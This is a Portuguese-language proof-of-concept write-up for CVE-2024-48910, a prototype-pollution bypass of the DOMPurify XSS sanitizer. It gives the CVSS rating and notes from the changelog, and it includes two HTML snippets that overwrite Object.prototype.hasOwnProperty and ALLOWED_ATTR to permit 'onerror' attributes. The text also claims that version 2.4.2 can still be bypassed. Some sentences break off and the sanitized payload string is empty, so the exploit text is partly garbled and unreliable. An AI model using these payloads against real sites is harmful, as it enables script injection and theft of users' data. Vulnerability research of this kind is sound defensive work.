
Prova de conceito de exploit para CVE-2024-48910, demonstrando bypass de poluição de protótipo do sanitizador XSS DOMPurify para executar JavaScript arbitrário por meio de atributos HTML elaborados.
CVE-2024-48910 DOMPurify, um sanitizador de XSS somente para DOM, super-rápido e ultra tolerante para HTML, MathML e SVG, foi considerado vulnerável a poluição de protótipo (CVE-2024-48910). A vulnerabilidade foi descoberta e corrigida na versão 2.4.2, com a divulgação inicial feita em 31 de outubro de 2024.
A vulnerabilidade de poluição de protótipo no DOMPurify pode permitir que atacantes adulterem atributos do protótipo de objetos, potencialmente levando a bypass de segurança e modificações não autorizadas no comportamento da aplicação. A pontuação CVSS alta indica um impacto potencial significativo na segurança do sistema, afetando especialmente a confidencialidade e a integridade dos dados.
A vulnerabilidade recebeu uma pontuação base CVSS v3.1 de 9.1 (CRÍTICO) com a string de vetor CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. Isso indica que a vulnerabilidade pode ser explorada remotamente com baixa complexidade de ataque, não requer privilégios ou interação do usuário, e pode resultar em alto impacto tanto na confidencialidade quanto na integridade, embora sem afetar a disponibilidade.
Nos registros de alterações (Change logs), você pode ver que um caso de teste foi adicionado envolvendo .__proto__., sugerindo que se trata de uma injeção de protótipo

A próxima linha adicionada foi, significando que antes estava avaliando como true para qualquer coisa que fosse truthy

Proteção XSS contornada — onerror agora é "permitido"
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
Apesar de atualizar para 2.4.2, ainda consigo fazer o alert() aparecer... tudo o que você precisa fazer é definir
Object.prototype.hasOwnProperty = () => true; para contornar a proteção LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>